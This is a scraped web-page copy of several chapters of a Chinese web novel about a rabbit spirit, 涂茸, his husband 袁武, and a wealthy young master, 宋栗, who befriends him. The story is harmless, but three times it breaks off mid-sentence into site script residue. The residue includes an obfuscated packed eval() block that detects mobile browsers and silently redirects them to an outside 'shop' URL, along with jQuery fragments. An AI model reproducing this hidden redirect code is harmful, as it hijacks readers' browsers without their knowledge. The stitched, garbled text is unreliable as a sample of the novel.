程月听到眼睛都瞪大了:“先前在其他铺子询问,上等棉花也就二十五文,怎到你这里都是次等棉了?” 伙计只笑:“您许久不来恐怕是不知道,外面都是这行情,我还能让您看看收着的上等棉,您若是想要,还能给您便宜些,只是贵客您看着也不像是差钱的。” 好一招搞搞捧起! 程月气急:“我们穷买不起,茸哥儿咱们走,还不如去别家买次等棉!” 涂茸便跟着她走,向来好脾气的程月都这般生气了,足以见得这铺子有多坑人。 “站住!谁说你们可以走的?”伙计却是突然冷下脸叫住他们,“你们在这耽误我这许久,连点东西都不买,合该给我们些损失钱儿,否则我就要报官了!” “报官?”程月瞬间停下脚步,她们就是平民百姓,哪就闹到要见官的地步了? 若这事真闹大,家中不知要如何着急,对她名声也不好,到时候还如何能说亲? 这些人果真黑心,怎么能这样! 涂茸狐疑:“怎么不走了?我们不买东西也不成吗?” “你耽误这么久都不买,有这功夫我都能卖出去多少布匹棉花了?你当然要赔钱,不赔钱就见官!”伙计不依不饶。 “你在说什么呢?你铺子里除了我们两个哪里还有人啊?我终于知道为什么没有人来了,看来他们都知道你们这里人坏,怪不得见着人就要赔钱,不这样你们怎么能赚到钱?”涂茸不甘示弱,这气兔兔可不能就这么忍了。 铜板那么难赚,这人居然还要骗他们的钱,实在太可恶了! 伙计也是凶悍,见就他们两个,当即就要撸着袖子把他们扣下,涂茸赶紧挡在程月面前,这人若是真动手,兔兔他也不是好惹的! “诶……做什么呢?” 一道慵懒地声音骤然传来,即便外面是喧嚣街道,都不曾抵消他的声音。 他们齐齐扭头看去,就见一穿着裳裙的小哥儿踏进铺子里,小哥儿衣衫华丽,头上还戴着玉簪,旁边的小厮正给他剥着核桃。 伙计一瞧见他立刻喜笑颜开:“原来是宋少爷,您怎么亲自来了?可是要买点什么?上等棉还是绸缎?” 宋少爷视线掠过伙计落到涂茸身上,转而又扭头去看那些棉花,他轻笑:“你这是什么棉?” “这都是一等棉,宋少爷要多少?小的给你便宜些。”伙计神情谄媚,全然不似方才那样。 “你要什么?”宋栗看向涂茸,“上等棉要多少?布匹呢?” 伙计尴尬愣在原地,涂茸也愣了片刻,立刻扬唇接话:“要给很高很大的夫君做衣衫,我也不知要多少,大概要好几匹吧!棉花可能要十几斤吧!” “你夫君是座山?”宋栗惊诧,转而对伙计说道,“就按他说的拿,要上等棉,若你敢拿虚价诓我,你这铺子便再没开下去的必要了。” “哎是是!” 程月脸上的表情变来变去,最终凑到涂茸耳畔说道:“我们没有那么多银子啊!这可怎么办,我们是不是要被扣在这里了?茸哥儿,你认得他吗?” “不认得哦。”涂茸说,“不是说不能要虚价吗?那我们应该买得起的。” 程月大惊,你在想什么?! 宋栗将他们对话尽收耳畔,接过小厮剥好的核桃仁全都放进嘴里,却丝毫不影响说话,他笑道:“算作是我送的,只当是我为了和你们交朋友,如何?” 虽说的是“你们”,视线却是紧盯着涂茸。 “好哦。”涂茸痛快答应。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “啊?”程月原地愣住,你们镇上人交朋友都是这般痛快给别人送银子吗? 宋栗看起来很满意他的回答,嚼果仁的速度都变快了。 伙计苦着一张脸,按照比正常价格还要低的价格结算上等棉,连布匹都不敢用次等的,最终将好几个大包袱都搬了出来。 宋栗看看那些大包又看看涂茸:“哪个村,让店家给明你们送去。” “玉灵村。”涂茸说。 “好地方。”宋栗轻笑,扭头冷下脸看伙计,“听到了,还不赶紧去送!等本少爷请你吗?” 伙计微笑,赶紧去备牛车了。 宋栗满意了,他看向涂茸:“相识便是有缘,你我已经成为知己,今日我请,你可还有其它想买的?” 涂茸竟真的认真思考起来:“武哥说集市有很多好吃的,叫我自己买呢,我也请你吃糖葫芦吧?那个裹着一层糖,好吃的。” “行啊。”宋栗边笑边看向身边的小厮,后者立刻明白,闪身就跑出去买了。 “我对镇上熟悉,请你去酒楼如何?你夫君定然还没有尝过酒楼的手艺,你还能给他带些回去。”宋栗句句引诱着,“你夫君在何处做工呢?定然很累,吃些好的对身体好。” 涂茸动摇了:“那谢谢你哦,下次我请你。” 程月木然跟着他们走,她不太懂这两人为何这般相处,正常人真的会请刚认识的人去酒楼吗? 宋栗带他们去的是自家酒楼,店小二一瞧见他立刻迎上前:“少爷,还是老样子吗?” “不,今日再添几个招牌菜,顺便多做一份全肉的,放进食盒,我要带走。”宋栗说,“这位少爷是我的知己,往后再见到,给我殷勤些!” “小的明白。” 程月已经震惊到不知该说什么了。 涂茸却是接受良好,倒不是他认得宋栗,只是他总觉得宋栗身上好似若有若无地飘着一丝熟悉的气息,这种气息让他盲目想亲近。 很奇怪,他都只在同族身上能嗅到。 但眼前的少爷,很显然并不是从山里来的。 今日集市人多,雅间都坐满了,宋栗便带着他们去了不起眼的角落,落座后店小二先是将一些开胃点心和坚果端来,上好茶水,照顾得很妥帖。 宋栗满意剥着花生,笑道:“我叫宋栗,是这酒楼的少东家,往后你若是来镇上,便来这里找我玩。” “我叫涂茸,这是我夫君的妹妹程月,我夫君叫袁武,在码头做工,很辛苦的,所以我和小月来卖山货哦,有赚到很多铜板,给你看看。”涂茸说着就把钱袋子掏出来,晃悠着给他看。 程月看着这显摆动作有些震惊,你在做什么?你瞧你面前的人,是差这几枚铜板的吗? 宋栗并没有笑话他的意思,甚至十分配合地往他钱袋子看了一眼,真露出惊讶地神色:“你刚出来,就能赚这么多铜板?” 涂茸懵懂看向他,不知为何,他总觉得,他好像明白这人说的“刚出来”是什么意思。 20. 宋栗 两人对视,一时无言。 他们不言语,程月便更加无措,她从没有来过这种地方,在这样的酒楼里吃饭,可能会遭报应吧? 宋栗圆润的脸上带着意味深长地笑,咀嚼果仁的速度却丝毫没有慢下来,视线一直盯着涂茸,见他从疑惑变为恍惚,才移开视线。 恰在这时掌柜带着店小二过来,他恭敬看向宋栗:“少爷,饭菜上齐,您和贵客慢用。” 掌柜说这话时还特意多看了涂茸两眼,想着把他的样貌记下,往后要礼待着。 视线落到涂茸脸上,他稍有些惊讶,他们少东家已经是顶好看的小哥儿了,没想到眼前这位亦是不逊色。 涂茸察觉到他的视线,毫不犹疑与之对视:“你有话要说吗?” “……失礼失礼,只是想记下贵客样貌,来日好以礼相待。”掌柜的诚恳回应,没有半分耍滑头的模样。 “茸哥儿是我们村里最好看的哥儿,不过他是外地来的,是我三哥战友的弟弟。”程月赶紧接话,带着些与荣有焉地意味儿。 宋栗蓦地笑了起来:“果真是刚来青石镇,我就说瞧着眼生,不过无妨,日后若是有任何事,都可来宋家找我。” 这话便是无限宽容的意思了。 饶是涂茸都察觉到了不对劲,这人也对他很好,甚至好的莫名其妙,他心中隐隐有猜测,但他修为不够,实在参不透。 “吃饭。”宋栗抬手示意,“你眼下应当是能吃肉的,尝尝这道盐水蒸鸡,肉很鲜嫩。”宋栗给他介绍着,这可是让他爱上肉食的一道菜。 涂茸便立刻夹起尝了尝,下手夹时就能感觉到肉的软乎,他迫不及待地往嘴里放,用盐水蒸的鸡虽然清淡些,但入口感觉要化掉了。 “骨头都是软的,你试试咬一咬。” “再尝尝这道油炒时蔬,你应是最爱吃青菜的,油和辣子放得多,很香。” “糖醋鱼肉质鲜嫩肥厚,只有几根大刺,把刺挑拣出来,大口吃!” 宋栗自是吃惯这些的,他也不着急吃,只顾着给涂茸添菜,至于程月,她无意掺和进这奇怪氛围里,只顾着埋头刨饭就行了。 涂茸还从没有吃过这么好吃的饭菜,每吃一口,都要夸上好几句,再问问能不能给袁武也带上一些,宋栗对此自然是不会拒绝。 这顿饭吃得格外漫长,饭后甜点自然就是小厮买回来的糖葫芦。 在酒楼略歇息一会,他们便准备再次上街,宋栗过分热情,恨不得把整条街的东西都买给涂茸尝尝试试,连程月都跟着沾光了。 具体表现在涂茸吃过一口不爱吃的,她都爱吃…… 集市从头逛到尾,又从尾逛回来,涂茸肚子都撑得鼓起,连程月看宋栗的眼神都变了,这和摇钱树有什么区别! “少爷!少爷!老爷找您!” 一小厮挤进人群,奋力挤到他们面前,衣服都有些散开了。 宋栗隐隐有些失落,转头看向涂茸:“那我先回,可以时常来宋家找我,去酒楼也可。” “我记住了哦。”涂茸乖巧点头。 两人就此分开,宋栗拍拍他肩膀,看到那些白丝沾染到指腹,融进身体里,这才心满意足地离开。 这些年,他还从没有见过气运这样充盈地动物,若是能交好,对他自然百利无一害。 一上午的时光就这样过去,经过酒楼时,被掌柜的叫住,将三只食盒塞到他和程月手里,沉甸甸地,饱含着宋栗要和他结交的殷切。 程月有些拿不动了,她说出了平生最奢靡的话:“茸哥儿,我们早些坐牛车回吧?” “好哦,我也要拿不动了,宋栗好热情。”涂茸分外欢喜,甚至话音落到此处,就嘻嘻嘿嘿地笑了起来。 “他莫名其妙对咱们这么好,总觉得不像好人……” 虽说拿人手短,吃人嘴软。 这喜悦过后就是后怕,万一真是有所图,那他们岂不是要惹上大麻烦了? 涂茸却是很肯定道:“不是的,他不是坏人哦。” 他能感觉到,虽然没办法感知更深刻,但直觉就是那样,宋栗是好人。 程月听他这么说便也稍稍放心些,茸哥儿都说没事,那定然是没事的。 穿过拥挤街巷,他们走到镇口处,那里停着几辆牛车,看起来都是办完各自事情,想着回去时再拉人赚几枚铜板的。 他们两个刚走过去就被盯着盘问。 “贵客去哪儿?哪个村子的?” “我这牛是壮牛,赶起来稳当!” “牛皮都吹到天上了,谁不知道你家牛前阵子病过?” 听他们说着说着要吵起来,程月不免有些紧张,若是这些人争急眼打她们该怎么办? 涂茸皱眉,发话:“不哦,我们等人。” 那群车夫瞬间安静,连个眼神都不再愿意给他们,不坐车,自然不会浪费唾沫星子掰扯。 没等多久,刘志就赶着牛车过来了,他摸了把汗,憨厚的脸上带着浅淡笑意,可见也是得了些好的。 他看到两人就瞪大了眼睛:“你们买这些东西……快上去歇歇。” 程月垂眸看了眼手里的东西,是多,怪不得那些车夫争着抢着要她们坐车呢。 涂茸没客气,通通将东西放到板车上,然后乖乖坐下,三只食盒都放到自己眼前,生怕会有什么东西青天白日就把食物偷走。 他们一上去,牛车就快要坐满了,姗姗来迟几位妇人,本还想说什么,可一见牛车上的东西,互相对视一眼撇撇嘴,默不作声坐下了。 刘志便没再等,赶着牛车回了。 今日热闹,村口都聚着好些孩童,都等着家中长辈赶集能带回好东西,还有好些婆婆也都在村口坐着闲聊,此刻见有牛车回来,一个个眼睛都恨不得粘到他们身上。 涂茸半分不觉得难受,他旁若无人地将东西拎在手里,无视那些惊讶和不赞同地视线,毫不费力地朝家中走去。 “瞧瞧,这就是最不会过日子的!” “哪家娶了这种夫郎,怕是要把婆婆气死了,几十斤的棉花都敢往家里买啊!” “那是镇上酒楼的盒子吧?哎呦天老爷…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13916970|147464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是要把袁家吃穷啊!造孽!” 最后两个字迫使涂茸停下脚步,他转过身看向那位说话的婶子,冷声道:“你才造孽!” “你、你这夫郎怎么说话呢?” “自是跟你学的!我买什么,买多少,用多少银子,自然都由我夫君来说一二,和你有什么关系,不能因为坐在村口张着嘴,就真把自己当咬人的狗吧?”涂茸神色带着些许狐疑,那眼神好像在说,你难不成真的是狗吗? 有听不下去的妇人帮着搭话:“茸哥儿,你虽然是外来的,村里也没说啥,但你一个晚辈怎么能这样和长辈说话?没礼数,你爹娘没教你孝敬长辈吗?” “我爹娘早死了,婶子你若是想知道,不如去问问他们。”涂茸淡淡说道,拎着东西转身就走,丝毫不给他继续拖住自己脚步的机会。 他是来玉灵村时间短,但对这里的人却都熟悉了一些,凡是他叫不上名字,不眼熟的都是和袁武刘全以及程月家没有交集的,那对他来说便更陌生了。 要他被陌生人说三道四,兔兔脾气再好都不能忍。 这番战斗力实在强悍,那些妇人们被气得指着他背影点了半天都没说出个所以然,只能咽下这口气。 东西多,两人路上还遇到了袁秀英,她还记着前些日子指责涂茸的事,见到他都有些不好意思说话,只接过东西默默朝前走着。 刚走到茅草屋前,就看到大门口处有几道身影鬼鬼祟祟地,袁秀英一眼就瞧出来是陈兰香和袁全。 她那会就已经知道镇上有人送了好些棉花布匹来,想必陈兰香也是为这事过来的。 涂茸皱眉,反感的情绪表现的十分明显:“你们在我家做什么?” 陈兰香却是一反常态地笑了起来:“哟,茸哥儿买了这些东西,累坏了吧?我来帮你拿,你说你这孩子也是,买这些东西都不知道告诉家里一声,我们好去村口接你。” “你生病了?”涂茸拎着东西后退两步避开他,“我的家是和武哥的家,不是你家,买的东西自然和你无关,作何要告诉你?你要抢?” 袁秀英没忍住笑出声。 陈兰香却是不干了,眼下她惹不得涂茸,还惹不得袁秀吗?! 她当即撸起袖子用力推了袁秀英一把,恶狠狠道:“你个死老娘们笑话谁呢?我和我儿夫郎说话,你赛啥脸?我看你是成天就惦记我家这些银钱儿了!不要脸的老东西!” 别看袁秀英平时温和好说话,和陈兰香那才真是话不投机半句嫌多,一句话不说,上去就开始扯她头发! 程月大惊,赶紧放下东西凑上前试图拉开她们,却始终力不从心,屡屡被推开,而她们两人揪着彼此的头发,恨不得将头皮都扯下来! 涂茸却并未在意,他只看向袁全,后者察觉到他的视线不由得瑟缩,他的腿前阵子刚好…… “你——” “不是我要来的!是我娘非要我跟着来,你看在我是三弟亲兄弟的份上,放过我!” 涂茸撩起眼皮看他,缓缓勾唇:“好呀,断条腿还是把她带走,你自己看着办。” 21. 警惕 袁全自然是选择后者。 那晚的记忆随着腿伤痊愈变得越来越清晰,他自然知道自己那日是抱着什么目的走到茅草屋,也知道那晚自己遭遇了什么。 他被涂茸打断了腿,这样看着柔柔弱弱地小哥儿,居然会二话不说打断他的腿! 若是真把他惹恼了,他还能有什么是不会做的! 袁全忍受着陈兰香的张牙舞爪,硬生生把她给拖回家去了,回家自是免不了一通责骂,只是和断腿比起来要好太多。 袁秀英头发衣裳也都乱了,涂茸微微笑:“堂姑去屋里坐会呀?我今日交到朋友了,他送了好些东西给我呢。” 袁秀英跟着进去,只是听说,并没有太多实感,可将东西全都放进院子里,才知道到底有多少东西。 抛开几大包的棉花布匹不说,单是食盒就有三只,还有好些其他吃食和精致木盒,这得花几十两银子! 得是什么朋友能刚结交就送这些东西? 袁秀英看向涂茸的视线不由得带上怀疑:“你该不会是接受了哪个男子的东西……茸哥儿,三小子对你那么好,你可不能那样对他!” “阿娘!您说什么呢,真的是茸哥儿刚结交的朋友,是位小少爷。”程悦赶紧解释。 “少爷”是对富贵人家小哥儿的尊称,袁秀英这才明白自己误会涂茸了,先前的事还没有和缓,就又有点不愉快了。 涂茸却像是并未察觉她的尴尬,依旧是那副天真模样,跟着附和程月:“是真的哦堂姑。” “那就好,你也别怪我,三小子日子苦,袁家的情况你也都清楚……唉。”袁秀英心善,见不得人遭罪,可她自身就是乡下人户,能力实在有限,也只能在这些小事上多关心袁武了。 涂茸都明白,他来就是为袁武,所以只要是对武哥好的,他都能接受。 袁秀英和程月帮着他把东西全都放进屋里,幸好如今是敞亮的砖瓦房,若是从前的茅草屋,可放不下这些东西。 都弄好,涂茸把属于程月的部分都给她带回去,自己则是继续收整着,顺便再磨蹭其他事情,只当是要等武哥回来了。 涂茸像只勤劳蜜蜂,将东西一一放进该放的屋子里,只是剩的这些棉花布匹,他不知该如何处理,那会程月说可以找堂姑做衣衫,也不知对方会不会答应。 他胡乱忙活着,时间倒是真过得很快。 随着天气变冷,天色也是黑的越来越快,彻底进入黑夜时,袁武到家了。 门口放着一只明亮灯笼,远远就瞧见了亮光,待他再走近些,才瞧清楚灯笼旁边还坐着涂茸,已经睡着了。 袁武浑身是土,他抬脚轻轻踢对方鞋尖:“茸哥儿,醒醒。” “武哥!”涂茸快速揉揉眼睛,连忙拿着灯笼站起来,“你回来了,怎么这样晚?” “还是那个时辰,只是天黑的快了。以后别在门口等我,外面冷。”袁武说。 涂茸只是点头,至于有没有听进心里,便只有他自己知道了。 这几日涂茸会生火了,厨房里已经烧好了一大锅热水,袁武便快速清理一番,将换下的衣裳随手搓洗,晾晒起来了。 只是他刚走进卧房,就被地上大包小包的东西给惊到,他仔细盘算着,就算是把他给的银子也花光,都买不了这么多东西。 “谁买的?”他直接问。 “我就是要和你说这个!”涂茸欢天喜地的把白天的事说给他听,连对方是哪家人户,酒楼叫什么,都吐个一干二净,“他可真是个好人!” 袁武浓眉紧皱,硬朗地面容显得有些冷峻:“虽说你觉得是好人,但也不能掉以轻心,随便收别人的东西,这些东西,我都买给你就是了。” 涂茸虽不解,但嘴上还是答应着:“那我下次会好好拒绝哦。” 也是占了涂茸的光,袁武都吃上酒楼的饭菜了,越是如此,他就越警惕,想着得去会会那什么少东家,别真是要打他的主意。 第二日,袁武起的比平时还要早,他打定主意要去那什么酒楼看看,便在去码头时特意经过酒楼,从前着酒楼他也是见过的,可如今再见,总觉得有些不是滋味。 自家夫郎想要的东西,却是被别人花钱买回去的,莫说是少爷,就是姑娘,他都会不太痛快。 但涂茸喜欢,他就只能来另一头看看。 “哟客官来得早,我们酒楼还尚未开门,您若是疲累,不妨先进来喝口热茶?”伙计在门口瞧见他,只当他是等着吃饭的,也不曾嫌他穿着破旧。 “我只是有些事想问,小哥你东家可姓宋?”袁武问。 伙计笑起来:“自是姓宋,咱们可是‘宋家酒楼’呢,您找我们东家有事?那可真是不巧,我们酒楼事事都是少爷管,您若是想见,怕是有些不成。” 毕竟只是个糙汉子,哪会有资格和少爷见面呢? 这话没说透,但袁武明白,他并未多说什么,只谢过伙计便朝码头走去了。 换做平时,袁武晌午在码头吃完干粮就会接着干活,但今日他心中有事,特意返回酒楼那条街,本想着随意找个摊子坐会,没想到就瞧见那伙计对一少爷点头腰的,直觉告诉他,那就是少东家。 他便抬脚跟进酒楼里了。 “少爷,就是这位客官。” 刚一脚踏进去,伙计就出现在他身边,更是在他还未缓过来时,便向那位坐在散座的少爷介绍着。 一瞬间,饶是袁武脸皮再厚,也有些尴尬了。 宋栗神情很淡地打量着他,衣着普通,身上还沾着灰尘,只是身形着实高大威猛,面容是粗犷些,但也有种别样的俊朗。 他挑眉:“你是涂茸夫君,为何寻本少爷?” 袁武听罢也不再隐瞒,直言道:“昨日回家,听闻夫郎结交好友,赠送东西过多,在下有些不放心。” 宋栗故作恍然:“原来如此,如贵客所见,我也是小哥儿,对涂茸并没有恶意,只是一见如故,便想亲近,倒是叫贵客误会了。” “是在下思虑过甚了。”袁武微微点头,“告辞。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13916971|147464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“慢走。”宋栗说着给伙计个眼神,后者立刻扬起笑脸好生把袁武送出去。 走出酒楼,袁武心中疑虑更深,这宋家少爷衣食无忧,却偏要和涂茸做朋友,自家夫郎缺根筋他是知道的,为何偏偏是涂茸? 若说没有图谋,他是半分不信的。 宋栗撇撇嘴,这乡下汉子倒是挺警惕,涂茸这种报恩法,他倒是寻常见。 “少爷,这人会不会坏您的事?”小厮将榛果仁递过去,“他会不会不许那小哥儿和您来往?” “不会,你可还记得昨日送消息的是如何说的?这袁武可是战场杀敌回来的,以他敢光明正大出现在外,定然不是逃兵,他能全身而退,自是杀敌无数,可为何没有军功?”宋栗声音轻缓,果仁的香气在口中爆开,他眯了眯眼,“背后有人的家伙……” 袁武回到码头便继续扛包,也幸好不是盛夏,否则这么拼命怕是要伤着身体。 其他做工的见他这么拼,也都有些紧张,便也快速吃完饭就继续干活了。 码头的管事满意点头,在袁武的名字后面画了一笔又一笔,回头都是靠这个来结算工钱。 “袁老弟……你也太拼命了,你这样别人都不好意思歇会了。”扛包的汉子肩膀上摞着三大袋子,他喘着粗气和袁武说话,“你家哪就需要那么多银子了?” 袁武憨厚一笑:“我吃的多,衣裳也容易穿破,得把钱给夫郎存着使。” 他没说是要给涂茸买花里胡哨的东西,讨他开心,毕竟这些人总是不太能理解。 尽管,他也不能理解,为何自己当初一见到涂茸就跟勾了魂似的,满心都是想要对他好。 其他汉子听他这么说,也都笑了起来,他们平时干苦力活,干的多,累的快,吃的多,自然是剩不了太多钱。 “这两日就能做完工了,你们准备干啥?我想着要去跑商了,那赚得多。” “这时候跑商,过年回不来吧?团圆的日子咋能不在?” “袁老弟,你准备干啥?” 袁武岁数小,爱说笑的也会管他叫两声哥,但没人会瞧不起他,很多时候还会跟着他做事。 袁武摇头:“没想好,但不去跑商,过年期间不安全。” 别人家都是兄弟妯娌成群,他家里就两人,若是连他都出远门,涂茸在家怕是要委屈,何况他也不放心。 青天白日的都能被别人哄着做朋友,若他不看顾着,被骗跑了咋整? 听他这样说,其他人亦是想到之前的好多例子,大都是节日期间被抢被偷的,家里都是妇孺,没汉子在也确实不安全。 “不如再等等,冬日镇上好些老爷都要冰,凿冰给的工钱也高,就是会有点危险。” 袁武想了想,笑道:“若是要人,您知会我一声。” 危险对他们这些人来说,是最值一提的小问题。 简单聊完,他们再次卖力做起工,没人瞧见一只小小身影,嗖地从缝隙里跑掉,嘴里鼓囊囊的,小爪子还抱着一颗大大的核桃。 22. 暴露 码头的工彻底做完,袁武暂时连卖力气活的地方都没有,虽然没想过要偷懒,但该歇还是要歇。 何况最近确实早出晚归,他也怕涂茸会觉得无聊。 “是有一点,不过不是很多哦。”涂茸伸出手用拇指和食指比划出一道缝隙,缝隙不大,看着好像确实不无聊。 袁武哦了一声:“我还想着,这几日不做工了,你若是觉得无聊就带你去山里转转,既然你不无聊,那还是在家休息吧。” “嗨哟……嗨哟……怎么回事,突然感觉在家待着好无趣,要是有人愿意带我去山里玩树叶就好了……” 涂茸说这话时像只花蝴蝶似的飘到袁武身边,还趴在他身上,唉声叹气地,那模样就差把“你带我去玩”,直接说出来了。 不直说有不直说的乐趣,袁武乐得逗他玩,只要涂茸不直白说出自己的要求,他一律当做听不懂。 涂茸双手环胸,气鼓鼓地坐在旁边,十分刻意地发出很响亮地出气声,浑身都写满了“我不高兴”。 “我想了想,还是去吧。”袁武说。 “武哥!武哥你真好,我以后肯定会学会做饭的,我天天给你做饭煲汤,让你当老爷!”涂茸立刻变脸,再次凑到他面前飞舞起来。 袁武忍不住哈哈大笑起来,惹得涂茸又羞又恼,直跺脚。 虽说袁武在外劳碌,但涂茸也并非只在家中歇着,诚如他所言,烧火这事已经做得很熟练,要先用细小干柴点燃,再慢慢添柴火,做饭也就指日可待了! 何况,说起来,他做工时换下的衣裳,大都数时间都是涂茸在洗,从前他也没有这般贴心人在家等候着,人总是要学会知足。 十一月里本就天寒,若是再进山,没有阳光照晒便更是阴寒,但涂茸想去,那自然是要去的。 何况,还有只兔子朋友不是? 涂茸自然也是想到涂苒的,进山前就已经准备好了大包小包的蔬菜点心,若是袁武拦着,他都想把肉也带去。 只是玉灵山有藏着的野猪,若是被它闻到肉香,怕是要把涂苒的窝也给掏了。因此他们只带了些青菜果子,涂茸想的简单,若是涂苒想吃其他的,还能悄悄到村里来找他。 四下无人,涂茸伸手拽着袁武的衣袖,另一只手还拿着点心,边走边吃着。 “武哥,你冷吗?”涂茸轻晃了一下他的袖口,他已经感觉到冷了,变成人后,身上的皮毛就见了,自然也不御寒。 “还好。”袁武摸摸他手背,“回去就把棉花和布匹给堂姑,让她帮忙做几身衣裳,只是布匹要送给她一些做谢礼,可以吗?” 涂茸痛快点头:“都可以哦,堂姑对你很好的。” 袁武心头微动,似乎是想起什么,他低声询问:“是因为堂姑对我好,所以被她训斥也觉得没关系吗?” “对哦。”涂茸不甚在意地点点头,对他来说,那种训斥无关痛痒,只要是为了袁武,他都可以接受,全都。 “累了吧,我背你。”袁武说着蹲下,不容对方反驳,就把他往自己后背上拉,“你的兔子朋友说不定已经饿得嗷嗷叫了。” 涂茸被逗笑,趴在他身上边笑边说:“它才不会,它很厉害的,总是能找到食物过冬,我最喜欢和它待在一起了,它是我最好的朋友,如果愿意住到家里来就更好了。” 被袁武背起来,涂茸觉得自己看到的风景都变得和从前不一样。 作为兔子时,它就身材矮小,只能在草堆和灌木丛里穿来穿去,没见过树干枝头的风景,作为人时,亦是有些矮,所见总像是被人压着头。 可在袁武背上不一样,他能看到一些树枝的枝头,能看到好多干枯枝干像是张牙舞爪地恶婶子一样不停晃着。 他将头埋在袁武肩膀,突然觉得不是很想看那些树枝了,不管是村里还是镇上的婶子们,都会让他觉得紧张。 人怎么能当街和别人打架呢? 它们兔兔打架,都是在外面找个位置,悄悄团在一起互咬的。 因为打不过的话,真的很丢兔脸。 “你如果把糖渣掉到我身上,那就得你自己洗——” 话未说完,脖颈便传来一阵温热。 袁武猛地扭头看他:“你真是不嫌脏!” 涂茸砸吧砸吧嘴,仔细品了品,笑道:“不会哦,你昨晚有洗澡,我知道哦。” 袁武无奈,随意擦了擦脖颈,背着他继续朝前走去,在走到一处空地时,涂茸晃动着腿让他停下。 袁武四下看了一眼,这里确实是之前他送那只兔子的路。 他放下涂茸,将稍微大些的包袱打开,拿出里面准备好的竹筒和干粮,朝正在四处张望的涂茸招招手:“过来吃点东西。” “我想先找到涂——兔子,它不喜欢和其他兔子一起住,我想把吃的先给它带回窝里。”涂茸转来转去,他想喊涂苒的名字,但碍于袁武在这里,就只能兔子兔子的喊。 涂苒面无表情地在暗处看着他,一直兔子兔子的,是要把林里所有的兔子都引到这里,好让你做猎户的夫君把它们都抓起来吗? 蠢蛋! 嗖—— 一枚石子落到涂茸面前,他盯着看了片刻,然后捡起小石头,上面瞬间传来涂苒的气息。 他左右张望,在遮掩着的草丛缝隙里看到了一抹雪白。 “武哥,我可以随便走走吗?”涂茸问。 袁武抬头与他对视,后者坦然自若,看起来像是真的只是要随便走走,他沉默瞬间,点头:“小心些,害怕就大声喊我。” “我知道!”涂茸欢快答应,快速拿起小包就匆匆跑开了。 一瞬间,袁武好像看到了一抹白色。 他站起身迟疑片刻,思索着要不要跟过去看看,涂茸能和那只兔子做朋友,想来对山里的情况也很了解,只是……算了,世间事不是非要扯个清楚明白。 他重新坐下,将东西整理好,等涂茸回来能继续吃。 他已经很久不在这里放置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13916972|147464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷阱了,思来想去,袁武决定去之前的地方看看,有几个地方挖着陷阱,说不定会有意外收获。 涂茸抱着小包和涂苒跑到山林深处,他献宝似的把小包摊开,笑道:“给你带了绿菜和甜果子,不能给你带太多,武哥会怀疑的,过冬时如果不够,就到家里找我吧。” “不管如何想都不方便,不要再说这种话了,再者,你夫君家中没有田地,没有粮食,我若是再去,岂不是要给你们增添负担?”涂苒抬爪垫拍拍他手背,“你不用管我,我在哪里都能活得很好。” “可我想和你住一起。”涂茸抱起它,两颗脑袋紧紧凑在一起,“我已经能赚钱了,能给你买菜,还能喝我们很久都没有喝过的清奶,苒苒,你不是负担哦。” 它们从记事起就一直在一起,这还是头一回分开这么久,即便它们嘴上不说,但心里都是惦记彼此的。 涂苒轻啧一声:“多大岁数了还在这里撒娇……” 涂茸撇撇嘴:“那你就像之前那样答应我的要求不就好了吗?你如果来了,我们就能继续一起过冬了,冬天真的很冷的,但你看我穿的衣裳,都是棉花的,棉花你知道吧?松松软软白白的,和我们的兔毛毛一样,很暖和。” “你是没断奶的兔子吗?”涂苒无奈叹息,“我知道了,过段时日我会去投奔你的。” “过段时日是什么时候?”涂茸问。 涂苒仔细想了想,说道:“那就等我洞里的食物全都吃完,我就去找你,这样总可以吧?” 涂茸点头,然后快速将他原本给涂苒带的食物全都收起来,甚至还很幼稚地往身后藏了藏。 涂苒:“刚刚一闪而过的是什么?是你给我带的食物吗?” 涂茸嘿笑:“不是哦,是你眼花了。” “……你真是厚脸皮,送的东西都能收回去?” “那你洞里还有食物吗?” 涂苒当然是有的,只是傻兔子一直催着他到袁武家住,他是有些不愿意的,毕竟任何地方都没有自己的窝窝好。 涂茸只当他没有了,继续说道:“我最近认识了新朋友,不过你放心,我永远都跟你是最好的,他请我去酒楼吃饭,还给我买棉花布匹,我可以让堂姑给你做好几身花花衣裳,武哥的坏娘还想和我打架,被堂姑拦住了……” 他和涂苒说着最近发生的事,都是一些琐事,被他说的颠三倒四,但涂苒能听明白,那就是,这傻子经常被村里那些婆子欺负! 